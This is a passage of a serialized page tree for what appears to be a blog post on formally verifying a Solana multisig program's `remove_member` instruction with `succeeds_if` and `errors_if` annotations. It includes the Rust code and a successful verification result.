ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[31074],{"type":24,"tag":80,"props":31075,"children":31076},{"__ignoreMap":7},[31077,31100,31128,31143,31188,31195,31207,31223,31235,31261,31269,31298,31305,31337,31344,31351,31425,31433,31493,31525,31532,31583,31590,31598,31691,31780,31834,31841,31886,31931],{"type":24,"tag":147,"props":31078,"children":31079},{"class":149,"line":150},[31080,31084,31088,31092,31096],{"type":24,"tag":147,"props":31081,"children":31082},{"style":235},[31083],{"type":29,"value":28439},{"type":24,"tag":147,"props":31085,"children":31086},{"style":9044},[31087],{"type":29,"value":28444},{"type":24,"tag":147,"props":31089,"children":31090},{"style":235},[31091],{"type":29,"value":546},{"type":24,"tag":147,"props":31093,"children":31094},{"style":9044},[31095],{"type":29,"value":30311},{"type":24,"tag":147,"props":31097,"children":31098},{"style":235},[31099],{"type":29,"value":25862},{"type":24,"tag":147,"props":31101,"children":31102},{"class":149,"line":160},[31103,31107,31111,31116,31120,31124],{"type":24,"tag":147,"props":31104,"children":31105},{"style":218},[31106],{"type":29,"value":19307},{"type":24,"tag":147,"props":31108,"children":31109},{"style":218},[31110],{"type":29,"value":26753},{"type":24,"tag":147,"props":31112,"children":31113},{"style":9044},[31114],{"type":29,"value":31115}," MsAuth",{"type":24,"tag":147,"props":31117,"children":31118},{"style":235},[31119],{"type":29,"value":28524},{"type":24,"tag":147,"props":31121,"children":31122},{"style":9044},[31123],{"type":29,"value":28529},{"type":24,"tag":147,"props":31125,"children":31126},{"style":235},[31127],{"type":29,"value":12907},{"type":24,"tag":147,"props":31129,"children":31130},{"class":149,"line":169},[31131,31135,31139],{"type":24,"tag":147,"props":31132,"children":31133},{"style":235},[31134],{"type":29,"value":28731},{"type":24,"tag":147,"props":31136,"children":31137},{"style":218},[31138],{"type":29,"value":9348},{"type":24,"tag":147,"props":31140,"children":31141},{"style":235},[31142],{"type":29,"value":25862},{"type":24,"tag":147,"props":31144,"children":31145},{"class":149,"line":178},[31146,31151,31155,31160,31164,31168,31172,31176,31180,31184],{"type":24,"tag":147,"props":31147,"children":31148},{"style":247},[31149],{"type":29,"value":31150},"    multisig",{"type":24,"tag":147,"props":31152,"children":31153},{"style":241},[31154],{"type":29,"value":978},{"type":24,"tag":147,"props":31156,"children":31157},{"style":9044},[31158],{"type":29,"value":31159}," Box",{"type":24,"tag":147,"props":31161,"children":31162},{"style":235},[31163],{"type":29,"value":3583},{"type":24,"tag":147,"props":31165,"children":31166},{"style":9044},[31167],{"type":29,"value":22751},{"type":24,"tag":147,"props":31169,"children":31170},{"style":235},[31171],{"type":29,"value":28524},{"type":24,"tag":147,"props":31173,"children":31174},{"style":9044},[31175],{"type":29,"value":28529},{"type":24,"tag":147,"props":31177,"children":31178},{"style":235},[31179],{"type":29,"value":546},{"type":24,"tag":147,"props":31181,"children":31182},{"style":9044},[31183],{"type":29,"value":28343},{"type":24,"tag":147,"props":31185,"children":31186},{"style":235},[31187],{"type":29,"value":12577},{"type":24,"tag":147,"props":31189,"children":31190},{"class":149,"line":187},[31191],{"type":24,"tag":147,"props":31192,"children":31193},{"style":235},[31194],{"type":29,"value":28541},{"type":24,"tag":147,"props":31196,"children":31197},{"class":149,"line":196},[31198,31203],{"type":24,"tag":147,"props":31199,"children":31200},{"style":218},[31201],{"type":29,"value":31202},"        mut",{"type":24,"tag":147,"props":31204,"children":31205},{"style":235},[31206],{"type":29,"value":1549},{"type":24,"tag":147,"props":31208,"children":31209},{"class":149,"line":205},[31210,31214,31218],{"type":24,"tag":147,"props":31211,"children":31212},{"style":235},[31213],{"type":29,"value":28625},{"type":24,"tag":147,"props":31215,"children":31216},{"style":241},[31217],{"type":29,"value":369},{"type":24,"tag":147,"props":31219,"children":31220},{"style":235},[31221],{"type":29,"value":31222}," [\n",{"type":24,"tag":147,"props":31224,"children":31225},{"class":149,"line":214},[31226,31231],{"type":24,"tag":147,"props":31227,"children":31228},{"style":3534},[31229],{"type":29,"value":31230},"            b\"squad\"",{"type":24,"tag":147,"props":31232,"children":31233},{"style":235},[31234],{"type":29,"value":1549},{"type":24,"tag":147,"props":31236,"children":31237},{"class":149,"line":272},[31238,31243,31247,31252,31256],{"type":24,"tag":147,"props":31239,"children":31240},{"style":235},[31241],{"type":29,"value":31242},"            multisig",{"type":24,"tag":147,"props":31244,"children":31245},{"style":241},[31246],{"type":29,"value":87},{"type":24,"tag":147,"props":31248,"children":31249},{"style":235},[31250],{"type":29,"value":31251},"create_key",{"type":24,"tag":147,"props":31253,"children":31254},{"style":241},[31255],{"type":29,"value":87},{"type":24,"tag":147,"props":31257,"children":31258},{"style":235},[31259],{"type":29,"value":31260},"as_ref(),\n",{"type":24,"tag":147,"props":31262,"children":31263},{"class":149,"line":281},[31264],{"type":24,"tag":147,"props":31265,"children":31266},{"style":3534},[31267],{"type":29,"value":31268},"            b\"multisig\"\n",{"type":24,"tag":147,"props":31270,"children":31271},{"class":149,"line":299},[31272,31277,31282,31286,31290,31294],{"type":24,"tag":147,"props":31273,"children":31274},{"style":235},[31275],{"type":29,"value":31276},"        ], ",{"type":24,"tag":147,"props":31278,"children":31279},{"style":247},[31280],{"type":29,"value":31281},"bump",{"type":24,"tag":147,"props":31283,"children":31284},{"style":241},[31285],{"type":29,"value":651},{"type":24,"tag":147,"props":31287,"children":31288},{"style":247},[31289],{"type":29,"value":28687},{"type":24,"tag":147,"props":31291,"children":31292},{"style":241},[31293],{"type":29,"value":87},{"type":24,"tag":147,"props":31295,"children":31296},{"style":235},[31297],{"type":29,"value":28667},{"type":24,"tag":147,"props":31299,"children":31300},{"class":149,"line":308},[31301],{"type":24,"tag":147,"props":31302,"children":31303},{"style":235},[31304],{"type":29,"value":28675},{"type":24,"tag":147,"props":31306,"children":31307},{"class":149,"line":317},[31308,31312,31317,31321,31325,31329,31333],{"type":24,"tag":147,"props":31309,"children":31310},{"style":218},[31311],{"type":29,"value":26445},{"type":24,"tag":147,"props":31313,"children":31314},{"style":247},[31315],{"type":29,"value":31316}," multisig_auth",{"type":24,"tag":147,"props":31318,"children":31319},{"style":241},[31320],{"type":29,"value":978},{"type":24,"tag":147,"props":31322,"children":31323},{"style":9044},[31324],{"type":29,"value":28760},{"type":24,"tag":147,"props":31326,"children":31327},{"style":235},[31328],{"type":29,"value":28524},{"type":24,"tag":147,"props":31330,"children":31331},{"style":9044},[31332],{"type":29,"value":28529},{"type":24,"tag":147,"props":31334,"children":31335},{"style":235},[31336],{"type":29,"value":11763},{"type":24,"tag":147,"props":31338,"children":31339},{"class":149,"line":332},[31340],{"type":24,"tag":147,"props":31341,"children":31342},{"style":235},[31343],{"type":29,"value":827},{"type":24,"tag":147,"props":31345,"children":31346},{"class":149,"line":350},[31347],{"type":24,"tag":147,"props":31348,"children":31349},{"emptyLinePlaceholder":16},[31350],{"type":29,"value":314},{"type":24,"tag":147,"props":31352,"children":31353},{"class":149,"line":358},[31354,31358,31362,31367,31371,31375,31379,31383,31387,31392,31396,31401,31405,31409,31413,31417,31421],{"type":24,"tag":147,"props":31355,"children":31356},{"style":218},[31357],{"type":29,"value":19307},{"type":24,"tag":147,"props":31359,"children":31360},{"style":218},[31361],{"type":29,"value":19312},{"type":24,"tag":147,"props":31363,"children":31364},{"style":229},[31365],{"type":29,"value":31366}," remove_member",{"type":24,"tag":147,"props":31368,"children":31369},{"style":235},[31370],{"type":29,"value":480},{"type":24,"tag":147,"props":31372,"children":31373},{"style":247},[31374],{"type":29,"value":25884},{"type":24,"tag":147,"props":31376,"children":31377},{"style":241},[31378],{"type":29,"value":978},{"type":24,"tag":147,"props":31380,"children":31381},{"style":9044},[31382],{"type":29,"value":25893},{"type":24,"tag":147,"props":31384,"children":31385},{"style":235},[31386],{"type":29,"value":3583},{"type":24,"tag":147,"props":31388,"children":31389},{"style":9044},[31390],{"type":29,"value":31391},"MsAuth",{"type":24,"tag":147,"props":31393,"children":31394},{"style":235},[31395],{"type":29,"value":12256},{"type":24,"tag":147,"props":31397,"children":31398},{"style":247},[31399],{"type":29,"value":31400},"old_member",{"type":24,"tag":147,"props":31402,"children":31403},{"style":241},[31404],{"type":29,"value":978},{"type":24,"tag":147,"props":31406,"children":31407},{"style":9044},[31408],{"type":29,"value":26459},{"type":24,"tag":147,"props":31410,"children":31411},{"style":235},[31412],{"type":29,"value":564},{"type":24,"tag":147,"props":31414,"children":31415},{"style":241},[31416],{"type":29,"value":495},{"type":24,"tag":147,"props":31418,"children":31419},{"style":9044},[31420],{"type":29,"value":19378},{"type":24,"tag":147,"props":31422,"children":31423},{"style":235},[31424],{"type":29,"value":25935},{"type":24,"tag":147,"props":31426,"children":31427},{"class":149,"line":397},[31428],{"type":24,"tag":147,"props":31429,"children":31430},{"style":154},[31431],{"type":29,"value":31432},"    // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":147,"props":31434,"children":31435},{"class":149,"line":421},[31436,31440,31445,31449,31453,31457,31461,31465,31469,31473,31477,31481,31485,31489],{"type":24,"tag":147,"props":31437,"children":31438},{"style":321},[31439],{"type":29,"value":4759},{"type":24,"tag":147,"props":31441,"children":31442},{"style":247},[31443],{"type":29,"value":31444}," ctx",{"type":24,"tag":147,"props":31446,"children":31447},{"style":241},[31448],{"type":29,"value":87},{"type":24,"tag":147,"props":31450,"children":31451},{"style":235},[31452],{"type":29,"value":20289},{"type":24,"tag":147,"props":31454,"children":31455},{"style":241},[31456],{"type":29,"value":87},{"type":24,"tag":147,"props":31458,"children":31459},{"style":235},[31460],{"type":29,"value":29406},{"type":24,"tag":147,"props":31462,"children":31463},{"style":241},[31464],{"type":29,"value":87},{"type":24,"tag":147,"props":31466,"children":31467},{"style":235},[31468],{"type":29,"value":26585},{"type":24,"tag":147,"props":31470,"children":31471},{"style":241},[31472],{"type":29,"value":87},{"type":24,"tag":147,"props":31474,"children":31475},{"style":229},[31476],{"type":29,"value":6227},{"type":24,"tag":147,"props":31478,"children":31479},{"style":235},[31480],{"type":29,"value":19658},{"type":24,"tag":147,"props":31482,"children":31483},{"style":241},[31484],{"type":29,"value":6600},{"type":24,"tag":147,"props":31486,"children":31487},{"style":705},[31488],{"type":29,"value":10147},{"type":24,"tag":147,"props":31490,"children":31491},{"style":235},[31492],{"type":29,"value":6630},{"type":24,"tag":147,"props":31494,"children":31495},{"class":149,"line":435},[31496,31500,31504,31508,31512,31516,31521],{"type":24,"tag":147,"props":31497,"children":31498},{"style":321},[31499],{"type":29,"value":7020},{"type":24,"tag":147,"props":31501,"children":31502},{"style":229},[31503],{"type":29,"value":29120},{"type":24,"tag":147,"props":31505,"children":31506},{"style":235},[31507],{"type":29,"value":480},{"type":24,"tag":147,"props":31509,"children":31510},{"style":9044},[31511],{"type":29,"value":29129},{"type":24,"tag":147,"props":31513,"children":31514},{"style":241},[31515],{"type":29,"value":9106},{"type":24,"tag":147,"props":31517,"children":31518},{"style":9044},[31519],{"type":29,"value":31520},"CannotRemoveSoloMember",{"type":24,"tag":147,"props":31522,"children":31523},{"style":235},[31524],{"type":29,"value":1473},{"type":24,"tag":147,"props":31526,"children":31527},{"class":149,"line":444},[31528],{"type":24,"tag":147,"props":31529,"children":31530},{"style":235},[31531],{"type":29,"value":1952},{"type":24,"tag":147,"props":31533,"children":31534},{"class":149,"line":452},[31535,31539,31543,31547,31551,31555,31559,31563,31567,31571,31575,31579],{"type":24,"tag":147,"props":31536,"children":31537},{"style":247},[31538],{"type":29,"value":25827},{"type":24,"tag":147,"props":31540,"children":31541},{"style":241},[31542],{"type":29,"value":87},{"type":24,"tag":147,"props":31544,"children":31545},{"style":235},[31546],{"type":29,"value":20289},{"type":24,"tag":147,"props":31548,"children":31549},{"style":241},[31550],{"type":29,"value":87},{"type":24,"tag":147,"props":31552,"children":31553},{"style":235},[31554],{"type":29,"value":29406},{"type":24,"tag":147,"props":31556,"children":31557},{"style":241},[31558],{"type":29,"value":87},{"type":24,"tag":147,"props":31560,"children":31561},{"style":229},[31562],{"type":29,"value":31067},{"type":24,"tag":147,"props":31564,"children":31565},{"style":235},[31566],{"type":29,"value":480},{"type":24,"tag":147,"props":31568,"children":31569},{"style":247},[31570],{"type":29,"value":31400},{"type":24,"tag":147,"props":31572,"children":31573},{"style":235},[31574],{"type":29,"value":8758},{"type":24,"tag":147,"props":31576,"children":31577},{"style":241},[31578],{"type":29,"value":8785},{"type":24,"tag":147,"props":31580,"children":31581},{"style":235},[31582],{"type":29,"value":432},{"type":24,"tag":147,"props":31584,"children":31585},{"class":149,"line":461},[31586],{"type":24,"tag":147,"props":31587,"children":31588},{"emptyLinePlaceholder":16},[31589],{"type":29,"value":314},{"type":24,"tag":147,"props":31591,"children":31592},{"class":149,"line":469},[31593],{"type":24,"tag":147,"props":31594,"children":31595},{"style":154},[31596],{"type":29,"value":31597},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":147,"props":31599,"children":31600},{"class":149,"line":508},[31601,31605,31609,31613,31617,31621,31625,31629,31633,31637,31641,31646,31650,31654,31658,31662,31666,31670,31674,31678,31682,31686],{"type":24,"tag":147,"props":31602,"children":31603},{"style":321},[31604],{"type":29,"value":4759},{"type":24,"tag":147,"props":31606,"children":31607},{"style":247},[31608],{"type":29,"value":31444},{"type":24,"tag":147,"props":31610,"children":31611},{"style":241},[31612],{"type":29,"value":87},{"type":24,"tag":147,"props":31614,"children":31615},{"style":235},[31616],{"type":29,"value":20289},{"type":24,"tag":147,"props":31618,"children":31619},{"style":241},[31620],{"type":29,"value":87},{"type":24,"tag":147,"props":31622,"children":31623},{"style":235},[31624],{"type":29,"value":29406},{"type":24,"tag":147,"props":31626,"children":31627},{"style":241},[31628],{"type":29,"value":87},{"type":24,"tag":147,"props":31630,"children":31631},{"style":235},[31632],{"type":29,"value":26585},{"type":24,"tag":147,"props":31634,"children":31635},{"style":241},[31636],{"type":29,"value":87},{"type":24,"tag":147,"props":31638,"children":31639},{"style":229},[31640],{"type":29,"value":6227},{"type":24,"tag":147,"props":31642,"children":31643},{"style":235},[31644],{"type":29,"value":31645},"() \u003C ",{"type":24,"tag":147,"props":31647,"children":31648},{"style":9044},[31649],{"type":29,"value":22207},{"type":24,"tag":147,"props":31651,"children":31652},{"style":241},[31653],{"type":29,"value":9106},{"type":24,"tag":147,"props":31655,"children":31656},{"style":229},[31657],{"type":29,"value":25078},{"type":24,"tag":147,"props":31659,"children":31660},{"style":235},[31661],{"type":29,"value":480},{"type":24,"tag":147,"props":31663,"children":31664},{"style":247},[31665],{"type":29,"value":25884},{"type":24,"tag":147,"props":31667,"children":31668},{"style":241},[31669],{"type":29,"value":87},{"type":24,"tag":147,"props":31671,"children":31672},{"style":235},[31673],{"type":29,"value":20289},{"type":24,"tag":147,"props":31675,"children":31676},{"style":241},[31677],{"type":29,"value":87},{"type":24,"tag":147,"props":31679,"children":31680},{"style":235},[31681],{"type":29,"value":29406},{"type":24,"tag":147,"props":31683,"children":31684},{"style":241},[31685],{"type":29,"value":87},{"type":24,"tag":147,"props":31687,"children":31688},{"style":235},[31689],{"type":29,"value":31690},"threshold) {\n",{"type":24,"tag":147,"props":31692,"children":31693},{"class":149,"line":572},[31694,31698,31703,31707,31711,31715,31719,31723,31727,31731,31735,31739,31743,31747,31751,31755,31759,31764,31768,31772,31776],{"type":24,"tag":147,"props":31695,"children":31696},{"style":218},[31697],{"type":29,"value":8696},{"type":24,"tag":147,"props":31699,"children":31700},{"style":247},[31701],{"type":29,"value":31702}," new_threshold",{"type":24,"tag":147,"props":31704,"children":31705},{"style":241},[31706],{"type":29,"value":978},{"type":24,"tag":147,"props":31708,"children":31709},{"style":9044},[31710],{"type":29,"value":26632},{"type":24,"tag":147,"props":31712,"children":31713},{"style":241},[31714],{"type":29,"value":651},{"type":24,"tag":147,"props":31716,"children":31717},{"style":247},[31718],{"type":29,"value":31444},{"type":24,"tag":147,"props":31720,"children":31721},{"style":241},[31722],{"type":29,"value":87},{"type":24,"tag":147,"props":31724,"children":31725},{"style":235},[31726],{"type":29,"value":20289},{"type":24,"tag":147,"props":31728,"children":31729},{"style":241},[31730],{"type":29,"value":87},{"type":24,"tag":147,"props":31732,"children":31733},{"style":235},[31734],{"type":29,"value":29406},{"type":24,"tag":147,"props":31736,"children":31737},{"style":241},[31738],{"type":29,"value":87},{"type":24,"tag":147,"props":31740,"children":31741},{"style":235},[31742],{"type":29,"value":26585},{"type":24,"tag":147,"props":31744,"children":31745},{"style":241},[31746],{"type":29,"value":87},{"type":24,"tag":147,"props":31748,"children":31749},{"style":229},[31750],{"type":29,"value":6227},{"type":24,"tag":147,"props":31752,"children":31753},{"style":235},[31754],{"type":29,"value":19495},{"type":24,"tag":147,"props":31756,"children":31757},{"style":241},[31758],{"type":29,"value":87},{"type":24,"tag":147,"props":31760,"children":31761},{"style":229},[31762],{"type":29,"value":31763},"try_into",{"type":24,"tag":147,"props":31765,"children":31766},{"style":235},[31767],{"type":29,"value":19495},{"type":24,"tag":147,"props":31769,"children":31770},{"style":241},[31771],{"type":29,"value":87},{"type":24,"tag":147,"props":31773,"children":31774},{"style":229},[31775],{"type":29,"value":9290},{"type":24,"tag":147,"props":31777,"children":31778},{"style":235},[31779],{"type":29,"value":9295},{"type":24,"tag":147,"props":31781,"children":31782},{"class":149,"line":591},[31783,31788,31792,31796,31800,31804,31808,31813,31817,31822,31826,31830],{"type":24,"tag":147,"props":31784,"children":31785},{"style":247},[31786],{"type":29,"value":31787},"        ctx",{"type":24,"tag":147,"props":31789,"children":31790},{"style":241},[31791],{"type":29,"value":87},{"type":24,"tag":147,"props":31793,"children":31794},{"style":235},[31795],{"type":29,"value":20289},{"type":24,"tag":147,"props":31797,"children":31798},{"style":241},[31799],{"type":29,"value":87},{"type":24,"tag":147,"props":31801,"children":31802},{"style":235},[31803],{"type":29,"value":29406},{"type":24,"tag":147,"props":31805,"children":31806},{"style":241},[31807],{"type":29,"value":87},{"type":24,"tag":147,"props":31809,"children":31810},{"style":229},[31811],{"type":29,"value":31812},"change_threshold",{"type":24,"tag":147,"props":31814,"children":31815},{"style":235},[31816],{"type":29,"value":480},{"type":24,"tag":147,"props":31818,"children":31819},{"style":247},[31820],{"type":29,"value":31821},"new_threshold",{"type":24,"tag":147,"props":31823,"children":31824},{"style":235},[31825],{"type":29,"value":8758},{"type":24,"tag":147,"props":31827,"children":31828},{"style":241},[31829],{"type":29,"value":8785},{"type":24,"tag":147,"props":31831,"children":31832},{"style":235},[31833],{"type":29,"value":432},{"type":24,"tag":147,"props":31835,"children":31836},{"class":149,"line":632},[31837],{"type":24,"tag":147,"props":31838,"children":31839},{"style":235},[31840],{"type":29,"value":1952},{"type":24,"tag":147,"props":31842,"children":31843},{"class":149,"line":659},[31844,31848,31853,31857,31861,31865,31869,31873,31877,31881],{"type":24,"tag":147,"props":31845,"children":31846},{"style":218},[31847],{"type":29,"value":8634},{"type":24,"tag":147,"props":31849,"children":31850},{"style":247},[31851],{"type":29,"value":31852}," new_index",{"type":24,"tag":147,"props":31854,"children":31855},{"style":241},[31856],{"type":29,"value":651},{"type":24,"tag":147,"props":31858,"children":31859},{"style":247},[31860],{"type":29,"value":31444},{"type":24,"tag":147,"props":31862,"children":31863},{"style":241},[31864],{"type":29,"value":87},{"type":24,"tag":147,"props":31866,"children":31867},{"style":235},[31868],{"type":29,"value":20289},{"type":24,"tag":147,"props":31870,"children":31871},{"style":241},[31872],{"type":29,"value":87},{"type":24,"tag":147,"props":31874,"children":31875},{"style":235},[31876],{"type":29,"value":29406},{"type":24,"tag":147,"props":31878,"children":31879},{"style":241},[31880],{"type":29,"value":87},{"type":24,"tag":147,"props":31882,"children":31883},{"style":235},[31884],{"type":29,"value":31885},"transaction_index;\n",{"type":24,"tag":147,"props":31887,"children":31888},{"class":149,"line":684},[31889,31893,31897,31901,31905,31909,31913,31918,31922,31927],{"type":24,"tag":147,"props":31890,"children":31891},{"style":247},[31892],{"type":29,"value":25827},{"type":24,"tag":147,"props":31894,"children":31895},{"style":241},[31896],{"type":29,"value":87},{"type":24,"tag":147,"props":31898,"children":31899},{"style":235},[31900],{"type":29,"value":20289},{"type":24,"tag":147,"props":31902,"children":31903},{"style":241},[31904],{"type":29,"value":87},{"type":24,"tag":147,"props":31906,"children":31907},{"style":235},[31908],{"type":29,"value":29406},{"type":24,"tag":147,"props":31910,"children":31911},{"style":241},[31912],{"type":29,"value":87},{"type":24,"tag":147,"props":31914,"children":31915},{"style":229},[31916],{"type":29,"value":31917},"set_change_index",{"type":24,"tag":147,"props":31919,"children":31920},{"style":235},[31921],{"type":29,"value":480},{"type":24,"tag":147,"props":31923,"children":31924},{"style":247},[31925],{"type":29,"value":31926},"new_index",{"type":24,"tag":147,"props":31928,"children":31929},{"style":235},[31930],{"type":29,"value":269},{"type":24,"tag":147,"props":31932,"children":31933},{"class":149,"line":715},[31934],{"type":24,"tag":147,"props":31935,"children":31936},{"style":235},[31937],{"type":29,"value":827},{"type":24,"tag":25,"props":31939,"children":31940},{},[31941,31943,31948],{"type":29,"value":31942},"First let's establish the ",{"type":24,"tag":80,"props":31944,"children":31946},{"className":31945},[],[31947],{"type":29,"value":25758},{"type":29,"value":31949}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":137,"props":31951,"children":31953},{"code":31952,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[31954],{"type":24,"tag":80,"props":31955,"children":31956},{"__ignoreMap":7},[31957,31964,32011,32018],{"type":24,"tag":147,"props":31958,"children":31959},{"class":149,"line":150},[31960],{"type":24,"tag":147,"props":31961,"children":31962},{"style":235},[31963],{"type":29,"value":29712},{"type":24,"tag":147,"props":31965,"children":31966},{"class":149,"line":160},[31967,31971,31975,31979,31983,31987,31991,31995,31999,32003,32007],{"type":24,"tag":147,"props":31968,"children":31969},{"style":235},[31970],{"type":29,"value":25827},{"type":24,"tag":147,"props":31972,"children":31973},{"style":241},[31974],{"type":29,"value":87},{"type":24,"tag":147,"props":31976,"children":31977},{"style":235},[31978],{"type":29,"value":20289},{"type":24,"tag":147,"props":31980,"children":31981},{"style":241},[31982],{"type":29,"value":87},{"type":24,"tag":147,"props":31984,"children":31985},{"style":235},[31986],{"type":29,"value":29406},{"type":24,"tag":147,"props":31988,"children":31989},{"style":241},[31990],{"type":29,"value":87},{"type":24,"tag":147,"props":31992,"children":31993},{"style":235},[31994],{"type":29,"value":26585},{"type":24,"tag":147,"props":31996,"children":31997},{"style":241},[31998],{"type":29,"value":87},{"type":24,"tag":147,"props":32000,"children":32001},{"style":235},[32002],{"type":29,"value":26623},{"type":24,"tag":147,"props":32004,"children":32005},{"style":241},[32006],{"type":29,"value":3453},{"type":24,"tag":147,"props":32008,"children":32009},{"style":235},[32010],{"type":29,"value":25047},{"type":24,"tag":147,"props":32012,"children":32013},{"class":149,"line":169},[32014],{"type":24,"tag":147,"props":32015,"children":32016},{"style":235},[32017],{"type":29,"value":25862},{"type":24,"tag":147,"props":32019,"children":32020},{"class":149,"line":178},[32021,32025,32029,32033,32037,32041,32045],{"type":24,"tag":147,"props":32022,"children":32023},{"style":218},[32024],{"type":29,"value":25870},{"type":24,"tag":147,"props":32026,"children":32027},{"style":229},[32028],{"type":29,"value":31366},{"type":24,"tag":147,"props":32030,"children":32031},{"style":235},[32032],{"type":29,"value":480},{"type":24,"tag":147,"props":32034,"children":32035},{"style":241},[32036],{"type":29,"value":15212},{"type":24,"tag":147,"props":32038,"children":32039},{"style":235},[32040],{"type":29,"value":29589},{"type":24,"tag":147,"props":32042,"children":32043},{"style":241},[32044],{"type":29,"value":15212},{"type":24,"tag":147,"props":32046,"children":32047},{"style":235},[32048],{"type":29,"value":15217},{"type":24,"tag":25,"props":32050,"children":32051},{},[32052,32054,32059],{"type":29,"value":32053},"And for now let's remove the invariant on the ",{"type":24,"tag":80,"props":32055,"children":32057},{"className":32056},[],[32058],{"type":29,"value":28343},{"type":29,"value":32060}," account:",{"type":24,"tag":137,"props":32062,"children":32064},{"code":32063,"language":8613,"meta":7,"className":8614,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[32065],{"type":24,"tag":80,"props":32066,"children":32067},{"__ignoreMap":7},[32068,32076],{"type":24,"tag":147,"props":32069,"children":32070},{"class":149,"line":150},[32071],{"type":24,"tag":147,"props":32072,"children":32073},{"style":235},[32074],{"type":29,"value":32075},"#[invariant()]\n",{"type":24,"tag":147,"props":32077,"children":32078},{"class":149,"line":160},[32079,32083,32087,32091,32095,32099],{"type":24,"tag":147,"props":32080,"children":32081},{"style":218},[32082],{"type":29,"value":19307},{"type":24,"tag":147,"props":32084,"children":32085},{"style":218},[32086],{"type":29,"value":26753},{"type":24,"tag":147,"props":32088,"children":32089},{"style":9044},[32090],{"type":29,"value":26758},{"type":24,"tag":147,"props":32092,"children":32093},{"style":235},[32094],{"type":29,"value":15207},{"type":24,"tag":147,"props":32096,"children":32097},{"style":241},[32098],{"type":29,"value":15212},{"type":24,"tag":147,"props":32100,"children":32101},{"style":235},[32102],{"type":29,"value":15217},{"type":24,"tag":25,"props":32104,"children":32105},{},[32106],{"type":29,"value":32107},"Let's test this!",{"type":24,"tag":25,"props":32109,"children":32110},{},[32111,32113,32118],{"type":29,"value":32112},"Our ",{"type":24,"tag":80,"props":32114,"children":32116},{"className":32115},[],[32117],{"type":29,"value":25758},{"type":29,"value":32119}," harness produces:",{"type":24,"tag":137,"props":32121,"children":32123},{"code":32122},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[32124],{"type":24,"tag":80,"props":32125,"children":32126},{"__ignoreMap":7},[32127],{"type":29,"value":32122},{"type":24,"tag":25,"props":32129,"children":32130},{},[32131],{"type":29,"value":32132},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":32134,"children":32135},{},[32136,32138,32143],{"type":29,"value":32137},"However, remember that since ",{"type":24,"tag":80,"props":32139,"children":32141},{"className":32140},[],[32142],{"type":29,"value":25758},{"type":29,"value":32144}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":32146,"children":32147},{},[32148,32150,32155,32157,32162,32164,32169],{"type":29,"value":32149},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":8545,"props":32151,"children":32152},{},[32153],{"type":29,"value":32154},"only condition",{"type":29,"value":32156}," in which the function will succeed (i.e. ",{"type":24,"tag":8545,"props":32158,"children":32159},{},[32160],{"type":29,"value":32161},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":32163},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":80,"props":32165,"children":32167},{"className":32166},[],[32168],{"type":29,"value":25765},{"type":29,"value":32170}," macro such as:",{"type":24,"tag":137,"props":32172,"children":32174},{"code":32173,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[32175],{"type":24,"tag":80,"props":32176,"children":32177},{"__ignoreMap":7},[32178,32185,32232,32239,32246,32293,32300],{"type":24,"tag":147,"props":32179,"children":32180},{"class":149,"line":150},[32181],{"type":24,"tag":147,"props":32182,"children":32183},{"style":235},[32184],{"type":29,"value":29712},{"type":24,"tag":147,"props":32186,"children":32187},{"class":149,"line":160},[32188,32192,32196,32200,32204,32208,32212,32216,32220,32224,32228],{"type":24,"tag":147,"props":32189,"children":32190},{"style":235},[32191],{"type":29,"value":25827},{"type":24,"tag":147,"props":32193,"children":32194},{"style":241},[32195],{"type":29,"value":87},{"type":24,"tag":147,"props":32197,"children":32198},{"style":235},[32199],{"type":29,"value":20289},{"type":24,"tag":147,"props":32201,"children":32202},{"style":241},[32203],{"type":29,"value":87},{"type":24,"tag":147,"props":32205,"children":32206},{"style":235},[32207],{"type":29,"value":29406},{"type":24,"tag":147,"props":32209,"children":32210},{"style":241},[32211],{"type":29,"value":87},{"type":24,"tag":147,"props":32213,"children":32214},{"style":235},[32215],{"type":29,"value":26585},{"type":24,"tag":147,"props":32217,"children":32218},{"style":241},[32219],{"type":29,"value":87},{"type":24,"tag":147,"props":32221,"children":32222},{"style":235},[32223],{"type":29,"value":26623},{"type":24,"tag":147,"props":32225,"children":32226},{"style":241},[32227],{"type":29,"value":3453},{"type":24,"tag":147,"props":32229,"children":32230},{"style":235},[32231],{"type":29,"value":25047},{"type":24,"tag":147,"props":32233,"children":32234},{"class":149,"line":169},[32235],{"type":24,"tag":147,"props":32236,"children":32237},{"style":235},[32238],{"type":29,"value":25862},{"type":24,"tag":147,"props":32240,"children":32241},{"class":149,"line":178},[32242],{"type":24,"tag":147,"props":32243,"children":32244},{"style":235},[32245],{"type":29,"value":25819},{"type":24,"tag":147,"props":32247,"children":32248},{"class":149,"line":187},[32249,32253,32257,32261,32265,32269,32273,32277,32281,32285,32289],{"type":24,"tag":147,"props":32250,"children":32251},{"style":235},[32252],{"type":29,"value":25827},{"type":24,"tag":147,"props":32254,"children":32255},{"style":241},[32256],{"type":29,"value":87},{"type":24,"tag":147,"props":32258,"children":32259},{"style":235},[32260],{"type":29,"value":20289},{"type":24,"tag":147,"props":32262,